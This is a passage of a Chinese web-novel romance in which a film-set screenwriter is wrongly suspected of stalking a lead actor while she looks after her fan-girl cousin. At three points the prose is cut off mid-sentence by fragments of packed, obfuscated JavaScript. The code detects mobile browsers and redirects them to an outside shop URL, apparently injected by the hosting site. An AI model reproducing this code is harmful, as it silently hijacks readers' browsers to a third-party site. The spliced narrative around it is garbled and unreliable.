一来是顾应话少,二来同陈念不熟,塑料关系,彼此都是一个别来沾边的状态。 一般工作时顾应不喜欢玩手机,要么背台词要么发呆,最近放空间隙他找到别的事,就是紧盯钟知晓,以防此人对自己做出私生行为。 陈念拉着钟知晓聊剧本,问道:“钟老师其实这里我不是太明白,照理说女主从小全身心修仙,后来道心破碎了,应该是崩溃或者别的状态才是,她怎么会在人间爱上男主呢,男主前期人设看起来也...很一般。” 剧本里这一趴写得比较含蓄,钟知晓解释道:“按照女主经历来说,除开小时候,进入门派后她一直都是非常优秀的存在,包括后来进入大殿目光也是聚集在她身上。当一个人身心只想着一件事,快要成功时遭到背叛结果反转崩溃,导致道心破碎,她会怀疑以前自己所相信的。再到人间碰见男主,也就明白男主说的那些在修仙人看来大逆不道的话,男主清楚地看见了她的怀疑挣扎痛苦。” “所以爱只是需要被看见?”陈念不解发问,“如果这样说的话,那她应该爱师兄。” “从门派一起进入更大的修炼世界,女主对师兄的感情是亲人是信任。” “那如果没有后续故事发生的话,她会爱师兄吗?” “从我的角度来看,没可能。” “为什么?” 如果没有后续,也不会有这个故事的诞生,在创作构思人物开始落笔后,人物便有了自己的思考和走向。况且爱本就是讲不清楚的,钟知晓轻松回道:“感觉。” 感觉,顾应听到后发出一声轻笑。果然是花钱走关系进来的,一句感觉就打发了,没一点真本事,剧本也改得乱七八糟。 那声音不大,但钟知晓听得清清楚楚却当做没听见,在职场听的很多话不能过心,一旦走心只会让自己陷入无尽内耗,本来工作就够难了! 陈念若有所思:“那如果此时出现另外一个看见她的人,女主会爱他吗?会不会只要被看见就行,不管是谁?” “从这个剧本出发分析,实际上女主和男主是同样的人。”钟知晓翻来覆去看了很多遍剧本,包括原著,“虽然两人得道飞升的路子不同,但得道后各自有着不同的困境,那困境指向一处:人、仙、鬼、怪有什么不同吗?或许本质上是没有的。” “我看了不少遍剧本,关于他俩感情我有点拿不准度在哪里,感情浓度是多少。”陈念还在思考着,“现在清楚些了,谢谢你啊钟老师。” 没有复杂的头饰、浓抹的装扮,陈念清冷挂长相,妆造十分仙气,跟原著女主很贴。除开偶尔表演上情感表达稍稍欠缺,其他可圈可点。钟知晓想如果剧顺利拍完播出,说不定会有个很好的结果。 一下子又对整个剧充满希望呀,余光却瞟见顾应盯着自己,多一事不如少一事,钟知晓只当没看见,火速逃离。 继续装,顾应轻哼一声,只见钟知晓回到丁恺之身边,不知道他俩哪来那么多话。 拍到中午那场戏总算过了,剧组放饭时间,部分工作人员去了休息室,群演们随便找个地方就近吃了,主演们回了房车,片场外蹲着不少演员们的粉丝。 以前看演唱会时,上万人为了同一个人从不同地方而来,当时钟知晓就很羡慕能有这样毫无保留热烈真诚的爱。 在组里大多主演事事优先,组外随处可见的粉丝,随处可见的爱。离得太近,有时候人与人之间的差距就那么大,普通人除开家人外,遇到毫无保留热烈真挚的爱十分难得,除了心生羡慕也夹杂着些许嫉妒。 还未正式进入夏天,但天气越发炎热,正午太阳像火球似的晒得人发烫,钟知晓出去两分钟再回去脸闷得通红。包里的扇子派上了用场,此刻哪还顾得上是谁的周边,哪怕是男科小广告她都得用... 葛双见状搭话:“你是顾应粉丝?” ...钟知晓礼貌假笑回应没承认也没否认,总不能在组里伤了男主的面子,这点自觉还是有的。 有一说一扇子确实挺好使的,孙萍女士说过,要心怀感恩,每天发生的一件很小很小的事,只要让人快乐,那就值得感恩。钟知晓挥动扇子,传来一阵阵风,心想得谢谢那个好心的粉丝妹妹。 侧过头时笑容在脸上呆滞... 什么时候顾应坐在角落的...完全没注意到。 钟知晓急忙将头转正,自己这样太明显了!她暗自吐槽有些心虚地说:“这天真热,双双你渴吗,我去拿水给你带一瓶?” 葛双举起手中的冰咖啡摇了摇:“谢谢不用啦,我有。” “哦好。”人在尴尬的时候总是很忙,钟知晓起身走出去,手里还拿着扇子,仔细想想这样才是更心虚吧! 唉,难道自己接下来两个月时间都要这样面对顾应工作吗,有够烦的。 同学群里正讨论着三天假去哪里玩,钟知晓进了组后哪有什么时间休息,就算休息时间也随时待命。每天光是觉都不够睡,黑眼圈一天天加重,大黑框眼镜都快遮不住。 工作上,陈念方提出改设定的事卡着没动,先迎来A组转场去另一个拍摄地。钟知晓起得很早,跟着去现场看有没有临时需要调整改动的地方。 刚下车就瞧见片场外不少粉丝候着了,兴许是放假的原因比平常时候人数还要多几倍,大都是来看顾应的,陈念和其他演员的也有些,零零散散的。 前几天才定好的景,粉丝还挺神通广大,什么消息都知道。 经过上次被钟雨洁认出来的经验,钟知晓早准备好帽子,将自己挡得严实,路过粉丝区走得非常快。 前脚刚迈入片场,听到有人抱怨:“好好的景都搭好了,突然变卦换地方,天天白干。” “小声一点。”另一个工作人员使眼色示意有人进来了。 “我怕什么,我说的实话。难道置景很简单的事情吗?为了搭景我们团队费了多大时间,全推翻,这边我们连续熬了两三个夜才搭出来。” 讲话的人是技术部门的小陶,钟知晓认了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551034|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不用想也知道赶工很辛苦,所以当时改景时专门开了会,特地跟摄影美术等部门解释清楚为何要改动。 别人的怨气她管不着,有怨气发出来就是了。 钟知晓自己也有怨气,不然也不会总是说着想死,当然只是说说罢了,抱怨并不能解决问题,不想写的、不想加的水戏还是要写,谁让她在苦苦熬呢。 “cut!过了。” 前前后后拍了几十条,这一场总算过了,钟知晓光是看都看累了,换下一场景,有个短暂休息。 手机响了好几次,是钟雨洁发来的消息,几张图片没有文字。点开照片,竟然是在剧组拍摄场地外。 什么意思?钟知晓冒出不好的预感,装傻回复:什么? 钟雨洁秒回:我在这里呢。 高中生不上学,来影视城干什么,不用说她也知道钟雨洁的缘由,钟知晓些许无力:你不上课吗,你不学习吗? 钟雨洁:放假呀,我爸妈同意我出门玩了。 钟知晓不太相信地回:你还未成年,小叔放心你出去? 钟雨洁:当然不放心,我说我来找你呀,他们就同意了。 ??钟知晓满脸问号:? 钟雨洁:别装了,我知道你在我要飞升组里。 钟雨洁:我特意盯了好多天的直播,虽然你戴着帽子眼镜,但我是谁啊?名侦探!我截了图专程问了二叔,他一眼就认出是你。 糊得看不清脸的人影,老爸还能认出自己来,不得不说老爸确实很爱自己……不过钟雨洁为了确定她到底在不在组里,竟然盯了好多天直播。还有以前在家一年也见不到两次的人,竟然为了求证主动跑到店里去,钟知晓想想就无语:...有这求知欲,好好上学不行吗? 钟雨洁:...那我等你下班。 呵,这话鬼才信,钟知晓吸取了上次的教训,再也不敢在组里用语音转文字,生怕被人听到,特别那谁。她故意问:等我,还是等顾应? 钟雨洁:都等~嘻嘻。 现场开了机,钟知晓没再回复,敢情上次跟钟雨洁讲的话她一个字也没听进去,现在还跑到外地追星,也不知道现在十几岁的脑子在想什么。钟知晓对青春的记忆完全就是读书学习,追星嘛止于手机... 难道顾应真这么大的魅力? 通过这些天的接触,钟知晓只觉得此人脸臭无比,没半点好脸色。 偷摸在心里吐槽,钟知晓抬眼望向监视器里的顾应,打光打得很到位,基本看不出任何妆感,偏冷光衬得他的肤色更加白,气质更加清冷。还有那一双眼睛凌厉又慵懒,皮肉紧紧贴着骨,确实可以说是上镜毫无压力。 紧接着她的目光从监视器移向真人,人群中只见顾应白衣飘飘,整个身材笔直挺拔,脸保持着冷冰冰。钟知晓想起一个词冷若冰霜,还真有点剧本里描述的修仙之人模样。 “cut!” 钟知晓完全没注意到自己盯的时间有些长了,顾应瞪向她的时候,她才忙低下了头,都怪钟雨洁! 顾应收起眼神不屑地翻了个白眼,都不用他出手,时间一长钟知晓的本性就显露出来了,越想越不得劲,粉丝就算了,私生不能被原谅! 王承递过水来,顾应勉强喝了一小口,喝完才反应过来问道:“检查过了吗?” 虽不知道顾应为什么突然这样说,王承回答:“应哥你放心,杯子我不离手的。” 不行,有钟知晓这样一个定时炸弹在身边,顾应不太放心,他给谢励发去信息:能换个跟组编剧吗? 11. 第 11 章 拍戏时顾应不会喝太多水,一是衣服不好脱二是担心影响拍摄,顾应喝了一小口,王承便将杯子接了过去。 谢励的消息也快回了过来:祖宗,跟组编剧怎么惹你了? 在谢励眼中自己是那么小气的人吗?顾应无语:没惹我,就不能换吗?写得太烂。 谢励:她是丁导那边的人。 早就知道了,顾应快速打字:那怎么呢,就不能换吗?她还是我私生。 谢励电话立马打了过来:“什么情况?什么时候?你在哪抓到她了?怎么没跟我说?在房车还是片场?方便讲话吗?” 一连串的问题将人砸晕,顾应懒得解释:“在片场,说来话长。” “那你长话短说,是在组里抓到的她吗?”谢励声音着急,“算了,我问王承。” 王承接过手机听了两句往外走,顾应抬眼一眼锁定钟知晓的位置,这事要怪只能怪她自己,是她跟车私生在前,找关系进组在后,她种的因结的果也得吃。 钟知晓并不知道私生的名头牢牢钉在她头上,现在脑子想起钟雨洁还在外等着,不禁头大,只祈求不要出什么幺蛾子才好。 上午的一场戏磨了很久,下午倒是拍得很快,每一场拍几条便过了,剩下的是拍特写,没钟知晓什么事,给钟雨洁发消息没回,打电话也没接。 不会出事了吗?不会吧,片场也不算太偏僻全都是人,钟知晓安慰自己,自己想多了。转眼又想万一呢,就怕这个万一。 从片场出去,门口不远便是粉丝的聚集地,钟知晓站在一角看了老半天都没找到人,人实在是太多,年轻女孩扎堆看花了眼。 这边常年有剧组拍摄,也有骗子,钟雨洁才十几岁,还是未成年人,不会被骗了吧。钟知晓又打电话,连续打了好几个才接了起来,她有些着急:“怎么不接电话?” “刚在跟其他人聊天没注意到,你下班了吗?” 钟知晓嗯了一声,放下心来问道:“你在哪?” “我就坐在门口不远,你出来就能看见我了。” “...我已经出来了。”钟知晓无力,这么多人一眼找不着,上百眼也难。 “是吗?我看见你了,你站着别动,我过来找你。” 电话已经挂断,钟知晓只好等在原地,钟雨洁从人群后排穿出来,一边小跑一边挥手,满脸笑意地喊道:“晓晓姐,钟知晓!” 小叔一家也没给她发个消息,就这样让钟雨洁来了,心真大。钟知晓扯出微笑:“钟雨洁,如果我不在这你怎么办?” “我也约好了同担,不会一个人的。” “是你同学吗?” “第一次见,在网上约的。” 好吧...这是追星女孩们特有的信任,钟知晓大学时的室友就是这样约遍了各个地方的同担,完全不认识仅凭着对同担的喜欢,到别的地方同吃同住同玩,也不怕没话讲冷场。钟知晓理解也不想当扫兴的大人:“走吧,晚上想吃什么?带你好好逛逛。” “走?”钟雨洁疑惑,“走哪去?我还没接到哥哥下班呢。” “哥哥...”钟知晓一阵肉麻,“你不是跟你爸妈说来找我的吗?” “可...我在这里等了一天了,就看了早上一眼,你忍心吗?” “不忍心。”钟知晓不受道德绑架,“所以才让你别等了,带你去吃饭。” “那...你能带我进组吗?”钟雨洁闪着大大的眼睛,可怜巴巴地卖乖:“晓晓姐。” 没有一丝犹豫钟知晓回答:“不能。” “网上有人买了剧组工作员证混进去了,你就不能带带我吗?”钟雨洁拉着钟知晓的胳膊摇晃,“晓晓...求求你啦。这是我这辈子第一次求人。” “上次在锦安大晚上你让我载你,你就求过我了。”像是没有感情的机器,钟知晓细数从前:“之前你让我帮你做作业,让我带你出去玩,求了我很多次。” 钟雨洁放开摇晃的手,闷哼一声:“不行就算了,我在这里接哥哥下班,他下了班我才走。” “钟雨洁你是个高中生,你现在应该做的是学习,就算放假就算你放松心情,也不能是在这里枯坐一整天,不累吗?” “一点也不累,我很快乐。而且身边全是同担,聊天时间过得很快,一点也不无聊,我还听了很多八卦。” 有什么用呢,有什么意思呢。钟知晓不明白,为了一个单方面认识的人这样值得吗...算了,她又不是钟雨洁的监护人,操这个心干嘛呢:“那你等吧,我工作了一天很累先回去了。” 钟雨洁连忙拉住她,继续撒娇:“晓晓姐,真不能带我进组看看吗?” 无情如钟知晓:“如果你想我丢掉工作,那我就带你进去。” “好吧。”钟雨洁再想进去也不会死缠烂打,“我结束给你打电话。” 还真要等...不管怎么说,是自己表妹,和自己有血缘关系,钟知晓在想该怎么劝说。此时背后一阵喧哗,尖叫声中夹杂着顾应的名字,看来顾应是下班出来了。 没等钟知晓反应过来,她手被钟雨洁拉着朝顾应出来的地方跑去,靠前的地方能拍到顾应上车,人实在太多,一点缝也没有。 两人站在队伍的最后,等着顾应的车开出来。钟雨洁满脸兴奋,蹦蹦跳跳拿出手机对着拍,不知疲惫。 钟知晓真的有些佩服钟雨洁,今天这么热,大太阳下就那样坐着,也不怕中暑,脸上不知道是晒伤了还是因为激动泛着的红。 车缓缓向前开来,顾应隔着窗户跟粉丝打招呼,前方的人又往后跑,人群不断挪动,谁也顾不上人挤人。 钟知晓夹在其中,快要喘不过气,想要往外走,后方的人又朝前挤,动弹不得,只好紧紧贴着钟雨洁,无聊的盯着手机取景框的画面,全是人的后脑勺什么也看不见。 手机随着主人的尖叫激动不断晃动,画面也抖动得不行。钟雨洁把手机塞给钟知晓:“晓晓姐你帮我拍下,我专心看人。” 周遭太吵,钟知晓拒绝的话说出去完全听不见,她只好认命地举着手机对准前方。 注意到顾应看了过来,钟知晓立马心虚低下头用手机挡在脸前,不过这么多人,顾应怎么可能看得见自己。 车上挥完这边挥另一边,再这样下去没完,车窗缓缓关上,一条细缝里出现一个熟悉的身影,戴着大黑框眼镜挤在人群中。顾应将快要关上的车窗重新打开,面上却毫无波动,依旧保持着微笑盯过去。 钟知晓,又是她。 平常在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553031|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧组拍戏时她仅盯着自己还不够,下了班在组外还跟人挤人拍自己,这不是私生是什么?!说不定跟其他粉丝有联系,肯定有,按照以往的经验百分百有联系。 说不定自己喝过的水杯、用过的纸巾全都被收集走了,顾应不敢想,只觉得背后发凉,钟知晓这人得有多变态。 一颗定时炸弹在旁边,让人不安,更何况钟知晓还跟他住一层楼,哪天偷偷溜进去自己房间也不知道,这种事不是没有过,想想都可怕又可恨。 不行,这样坚决不行。 回到房间,顾应片刻不耽误给谢励打去电话:“办好了吗?” “什么?”谢励语气疑惑,差点以为自己忘了什么重要的事。 顾应将气咽下去:“...把跟组编剧换了。” “钟知晓不都解释说是误会吗...” “哪里是误会?我抓到过她几次,有我的周边,拍戏的时候盯着我看,下班也是。” “拍戏看你很正常呀,你长这么帅,很多人都看你呀,你干嘛针对她?” “她真是我私生。”简直对牛弹琴,顾应生气地挂断电话。 接着谢励发来消息:如果你有好感,我不反对。虽然我不愿意艺人谈恋爱,但我不是那种绑着你不让谈的人,我的要求只有一个藏好一点。 谢励:但是哥,咱们能不能正常一点?捉弄喜欢的人是小男孩才玩的把戏。 ?顾应一口血快要吐出来,谢励在胡说八道些什么,没一个他爱听的。把手机关上扔一边,朝王承招手,将心口上的气强行压着,一脸平静:“你怎么跟谢励说的?” “励哥问我钟编剧的事,我从头到尾实话实说的呀,之前跟车和酒店是误会。” 顾应没有表情,把聊天框递到王承眼前:“怎么解释?” “励哥问你平常跟钟编剧相处如何,我说你老是...”王承有些心虚地说,“你盯着她看...别的没了..” 迟早有一天会被王承气死,顾应深深深呼气:“我在抓她是私生的证明吗!!还有你如何得出我喜欢她?” “可是应哥你看她的频率真的有点频繁。”王承一脸无辜,“我没说你喜欢她,我只说你盯着她看...” 顾应:“所以你的意思是说谢励自己脑补出来的?” 王承那边都不敢得罪:“我可能有点引导吧...不过应哥你真不喜欢钟编剧吗,可你还主动给她签名,我都没见着过你...” 越说声音越小,王承闭了麦,顾应气笑了:“你怎么不去干狗仔的活?更适合你。” “对不起应哥,我再也不乱想了...我这就给励哥打电话说你不喜欢钟编剧,全是误会。” “滚吧。”顾应没了力气,给谢励发去消息:让她走,换个跟组编剧。 谢励:...那我去找崔姐,不过我说了,人真走了你可别后悔。 后悔个屁,鬼才后悔,被私生天天盯着拍戏,天天乱改戏,谁受得了?!还别提万一偷偷收集他用过的东西,简直变态在身边。 谢励的消息又发了过来:难道说...想让她来求你?你这套路深啊。 简直想把身边的这些人全开了,顾应抓狂:听不懂人话? 谢励秒回:这就去办。 12. 第 12 章 接完下班,钟雨洁盯着远去的车怅然若失,钟知晓伸手在她眼前晃了晃问:“怎么了?” “没怎么。”钟雨洁摇摇头,什么都没说。 两人去了影视城不远处的一家当地特色餐厅,不过重点当然不在菜色上。一晚上钟雨洁旁敲侧击打听顾应的各种事,不管多小也愿意听:“哥哥拍戏是不是很认真?我听说他很多都一条过。” 呵,哪来的软文营销,钟知晓暗自吐槽,组里哪有什么一条过的,大部分好几遍乃至几十遍,不光涉及演员还得有各种配合。 “还有哥哥拍戏间隙休息时候说话吗,话多不多,跟大家一块聊天还是一个人待着?他跟陈念关系怎么样,那天我刷到他俩cp帖,有一点点难受。” “你见过他卸妆的样子吗,是不是素颜更帅?” “钟雨洁,我喊你姐成吗?”无数的问题砸了过来,都是些什么问题啊!钟知晓被折磨得有些烦,“我只是个打工人,他高高在上,我怎么可能会跟他很熟?” “可是我看剧组工作人员说他人很好,很好相处的。” 是是是,只是碰巧对她臭脸,这话乍一感觉还挺暧昧的,实则真没招了。钟知晓认输道:“那就是我的问题行吗?我不好相处。” “就想听听嘛,又不是打听他的隐私。”钟雨洁撇嘴埋怨,“你怎么什么都不知道?” ??算了,不跟青少年计较,钟知晓回道:“我上班呀,牛马还能做什么,当然是当牛做马。” “行吧,不为难你了。”钟雨洁这才开始认真吃饭,一整天没怎么吃东西,狼吞虎咽将饭桌菜品席卷一空。 看来是真饿了,见状钟知晓不禁想笑:“慢点吃。” 白天晒得慌,这个季节的夜晚却很舒服,不热不燥。吃完看时间快十点了,钟知晓问:“你住哪里?我给你打车。” 钟雨洁头也没抬:“我没订酒店。” ?钟知晓有个不好预感:“你不是约了同担吗?” “对呀,可你在我就没跟她们拼了。”钟雨洁抬起头来,心思昭然若揭,却一脸坦荡,“晓晓姐,小时候去你家我最喜欢挨着你睡。” 就知道!!钟知晓双手撑着头,太阳穴突突地微微发疼,万不可能将钟雨洁带进剧组酒店。 想了想点开手机找附近最近的酒店,好家伙全满房,还剩一些客栈环境不是太好或者要么贼贵的酒店,钟知晓咬咬牙订了比平常价格高出不少的豪华星级酒店。 钟雨洁一直盯着手机聊天打字。谁让眼前的人未成年,要是成年了,她才不想管! 车在酒店门口停下,钟雨洁站在大堂叹了口气,些许失落:“怎么是这个酒店?” “你还不满意?”钟知晓倍感无力,“你查查这酒店一晚多少钱。” “没有不满意,我想着就住你平常住的地方就好啦。”还以为能进剧组酒店,不过钟雨洁乖乖地说,“让你破费啦。” “快洗漱,明天我一早还得去片场。”钟知晓不欲再说,“你明天就算和同担一起玩,也不要傻傻地全都信,不要轻信任何人的话,凡事多留个心眼,这边骗子不少。” “好。” 叮嘱好人,钟知晓收到改动消息,加班加点进行调整改动,有几场戏得从白天挪到晚上,部分词有删改。钟雨洁好奇地凑近,她将人赶开:“我在忙,你玩你的。” 钟雨洁撇撇嘴走到一边,她俩的包放在柜子上,一个没注意将包撞倒掉在地上,钟知晓沉心于工作,并未在意。 “这不是顾应吗!你包里怎么会有?”钟雨洁捂着嘴惊讶大呼:“难道你和我是同担!!晓晓姐你平常是在装模作样吗?” 上次那把扇子放在包里忘拿出来了...钟知晓这才抬起头来解释:“粉丝送我的。” “哦。”钟雨洁肉眼可见的失望之情,转头又问:“那能给我吗?” “本来就是留着给你的。” 钟雨洁嘿嘿一笑:“那...顾应哥哥能签名吗?” 打下去的字删除又重新敲,再删完全忘记自己要写的内容,钟知晓被烦得发晕:“你现在睡觉,我试着去问问。” “成交。”钟雨洁立马不再说话,乖乖躺下。 改完后钟知晓起身伸了个懒腰,活动全身,钟雨洁早已呼呼大睡,这一天估计累得够呛,脸蛋上的红还未散去。她同样累得不行,昏昏欲沉打着哈欠进入梦乡,等再睁开眼时一旁钟雨洁已经不见了。 钟知晓心头一惊,这人跑哪去了,抓过手机给钟雨洁打电话,没响两声便接通了,她语气些许着急:“你去哪里了!” “我去蹲出妆酒店了,昨晚想给你说的,看你忙就没说。” ...钟知晓看了眼时间才早上七点:“你这么早去干吗?” “早吗,好多人凌晨就在了,我还是花钱找的代排。” 行吧,追星女的世界,钟知晓妥协道:“注意安全,不要一个人上陌生人的车,打正规的车,不要跟车。” “知道了。” 电话那头吵吵闹闹,也不知道钟雨洁能听进去几句,钟知晓担心道:“一定要听进去。” “听到了,我听你的,我还等着你的签名呢。” “什么签名?”钟知晓一脸迷惑,突然猛地想起来昨晚答应好的事,那把扇子被钟雨洁珍重地放在柜子上。 钟雨洁着了急,声音不自觉大了些:“钟知晓!你不讲武德。” “没忘,我没忘。”钟知晓安抚道,“那我说的话你要听,我才办。” “我听你的,蹲完出妆我就去拍摄现场然后等你下班,这样行吗?” 也不嫌累得慌。钟知晓挂断电话,起床收拾好出发去片场,在酒店门关上之前记起签名的事,倒回去拿上扇子放进包里。 片场依旧忙碌,钟雨洁时不时发来微信提醒钟知晓签名的事,她偷摸着找寻顾应的身影,准备找个好时机上前开口请求。不过现在是工作时间,在片场间隙问人要签名也太没职业素养了...况且顾应一副爱搭不理的样子,钟知晓只觉得头疼。 一上午过去压根没有一个很好的机会,自己在工作,顾应也在工作。能不能反悔啊,钟知晓暗自哀嚎,要怎么去说啊!只偷瞄不过几眼,每每不经意扫到顾应,他的眼神像刀一般,更没法说... 算了,钟知晓深深呼了一口气,只有辜负钟雨洁了,晚上再请她吃大餐吧。 “叹什么气,怎么了?”丁恺之眼睛在文档上快速扫动。 “没什么,我在算还有多久能拍完。”钟知晓没敢说实话,总不能说想找顾应要签名吧。 “改动点我看了,就按你写的办。”丁恺之工作时很认真,却也注意到钟知晓情绪,关心道,“扛不住了?” 钟知晓笑笑:“没有,取经之路本就千难万险,这才哪跟哪。我都知道的!” 在这一个月时间里,钟知晓经常面对突如其来的变动,需要在十来分钟内修改到导演想要的感觉,好在她跟丁恺之还是有这点默契。 其他时候,更是折磨,每个人都有意见,小蚂蚁的命可真难。比如现在前两天改的情节可以用,钟知晓要通知到相关演员,而那个相关演员正在整理妆发背太词,看样子情绪状态还行情绪不差。 钟知晓略微不安地走了过去打招呼:“顾老师休息呢?” 这不废话吗,顾应眼皮一抬,嗯了一声,没什么多余反应。 换换气,钟知晓平心静气说明来意:“等下拍的戏有些变动,新增了一段词。” “又改?”顾应不禁皱眉,他的场次不多,剧本却还是不停地改,这剧组真的靠谱吗... 钟知晓解释:“涉及到后期的一个变动,这段要配合着埋线,不然会有明显bug。” “就不能提前一两天说吗,今天给然后立马要拍。”顾应烦躁无比,不是他不接受改动,提前说是基本职业素养。难道钟知晓针对他呢,不过一个跟组编剧能有这么大的权利吗? 钟知晓也是前一天才收到统筹的安排,已经以最快速度改好,递交各方审核。改动不是写了立马能用,有意见还得改。钟知晓不欲争辩,解释更像甩锅,赔着笑:“时间确实比较紧,辛苦老师您了。” “呵呵。”顾应轻蔑一笑,接过新改的扉页。 说好伸手不打笑脸人的,这顾应不讲武德。 总不能一直这样跟顾应相处,接下来少说还有两个月。算了,宰相肚里能撑船,大人不记小人过。钟知晓十分生硬地举起扇子示好:“这是顾老师您粉丝送我的扇子,做的真好看。” 好笑,顾应想起那天一幕,钟知晓捧着扇子用纸擦他的脸,明明当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557379|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做宝贝一般,又撒谎。 可恶的私生,顾应不想给好脸色,抄起手来警惕地盯着钟知晓,想看她下一步做什么。 原本想着自己示好,缓和关系,谁能想到是会是这样的局面,钟知晓微微发怔,误会早就解释清楚了,可为什么顾应还是这幅样子。 以前没怎么接触过明星,这些天钟知晓算是见识到了。各有各的立场,各有各的利益考虑,可不管如何面子上维持一团和气,只有顾应总是对她甩脸色、不耐烦,这人有病吧...不知道有什么好高高在上的。 被人喜欢了不起啊,被人追捧了不起啊,歌唱得那么烂,演技也就那样,没了粉丝什么也不是。 到底在拽什么!长得很帅吗?帅又怎样,帅哥那么多!!真佛了。 在心里一阵发泄后好了不少,明星嘛,在真空环境久了不食人间烟火,钟知晓想除必不可少的工作接触,还是离得远远的好了。 只是钟雨洁那边要怎么办...思考片刻,钟知晓打开手机搜索顾应签名,看起来其实...模仿也不太难,不如... 这样好吗?钟知晓眼珠飞快转着,脑海里两种想法在打架。 一个小人说:“当然可以啦,钟雨洁也没办法求证真假,更何况她要签名只是为了纪念,不做别的用途。” 另一个小人打断道:“不行,你这是骗人!” 骗人就骗人吧,钟知晓立即做出抉择,给钟雨洁留个美好回忆吧。 今天拍摄结束比较晚,下班的钟知晓在休息区找了个角落,悄摸模仿顾应的签名,一遍又一遍。 像不像啊,钟知晓举着纸和照片的签名做对比,顾应他笔画到底怎么连的,怎么写都不对,自己模仿写出来的简直像鬼画符。 有了,钟知晓将纸放在手机上,专心致志地对着照片一笔一划描,大功告成之际肩膀被拍动,手猛地抖动,下意识将纸和手机捂住,这是上学时养成的惊吓反应。 “干嘛呢,这么心虚。” 听见是丁恺之的声音,钟知晓才放下心来:“师哥,有没有人跟你说过不要在背后吓人。” 说完转头,却瞧见丁恺之身边站着顾应,钟知晓微微发愣:“顾老师...也在啊。” 在有其他人面前,顾应的表情还算正常,嗯了一声,虽冷漠却不至于黑脸。 钟知晓背着双手将纸揉成一团紧紧攥在手心,可是扇子要如何解释...她默默地将扇子一点点挪到包里:“你们有事要聊是吗,那我先撤了。” 迅雷不及掩耳之势飞快离开现场,本来关系就差,如果被顾应发现自己模仿他的签名,还不知道要怎么说。 心里只有两个字,那就是快逃! “晓...钟编剧平常挺稳重的。”丁恺之扬起笑意,“对了,顾应你要跟我说什么来着?” “我要跟你说什么?”顾应眉头微蹙,不是丁恺之这人把他叫住的吗... “我听谢励说有些剧本上的东西要讨论。”丁恺之啧了一声,“该把钟编剧叫上,咱们仨一起讨论。” 谢励!!就知道是你搞的鬼!总不能他自己去说钟知晓是他的私生吧,丁恺之管这事吗?更何况这种事公司出面不是更好吗! 呵呵,顾应想了想只好说:“有些地方我觉得不是太合理。” 然后两人就根据剧情来回讨论到夜深,加班两小时没个结果,现在的剧本是多方博弈后的结果,并非钟知晓决定,更何况她只是跟组编剧根本没有话语权。 顾应跟丁恺之告完别,回到车上第一瞬间给谢励打电话:“你是不是不想干了?” 谢励:“??祖宗又怎么了?” 顾应:“我让你去找剧组换掉钟知晓,你怎么说的?” “要换跟组编剧,我总不能说因个人恩怨吧,又没抓到钟知晓私生现行。”谢励停顿片刻,“我跟制片说我们觉得剧本有些不合理,是不是钟编剧写得有问题。” 看来是崔姐把这事推到丁恺之那里了,顾应冷冷地回:“哦,没事了。” 谢励追问:“发生什么了?” “导演找我聊剧本。” “换编剧不是不行,但我们总得找个正当理由,私生也要有证据。毕竟她是导演平台方的人,传出去不好听,不知道的还以为你跟她有什么感情上的私人恩怨。” 13. 第 13 章 那么多事情,还不能说明钟知晓是私生吗?不过好像...光这些的确不是强有力的证据,跟车那次没拍,酒店那次完全可以说是误会,那要怎样才能抓到现行,顾应发起了愁。 余光扫向车外,今天身后的尾巴尤其多,也不知道怎么做到每天跟且完全不知疲惫厌烦,她们不烦,顾应也烦了。是真烦了,好说歹说,警也报过,仍旧没有很好的解决办法。 车终于开入地下室,稳稳当当停好,地库看着有些陌生,顾应反应过来明天有活动,这是品牌方为他定的酒店。 累了一天,从早拍到晚,顾应将自己笼罩在帽子里,懒懒地靠在电梯一角。手机在包里振动好一会儿才接起来,喂字还没说出来,耳边传来一声沧桑的:“小应。” 顾应脸垮了下去,立马挂断电话,不管拉黑多少次,总是隔断时间换个号码打来。 王承注意到:“谁啊?” “骚扰电话。” “应哥我给你看看免打扰是不是关了。”王承操作一番推开房间门:“点了夜宵,要不少吃一点,明早喝冰美式的话不会肿。” 顾应把外套一扔:“不吃了,我去游泳。” 这是他为数不多的爱好之一,平常拍戏不方便,所以时间条件允许情况下便会游一游。 特别是人在烦的时候,沉在水里与现实切割开来,水不停地冒泡泡,岸上什么声音也听不见,耳边也只有水流声,什么也不用想。 不用去面对母亲早已离世的事实,不用理会工作上的烦恼困扰,不用去想对自己不闻不问的父亲,不用细想在这个世界没有家人,只剩下他自己。 四十分钟游完上岸,不多作的停留,把情绪留在水里。 冲完澡顾应全身轻松,随意用毛巾擦了擦湿透的头发,却发现无法坐专属电梯回房间。出来游泳不方便,也没拿手机,联系不到王承。 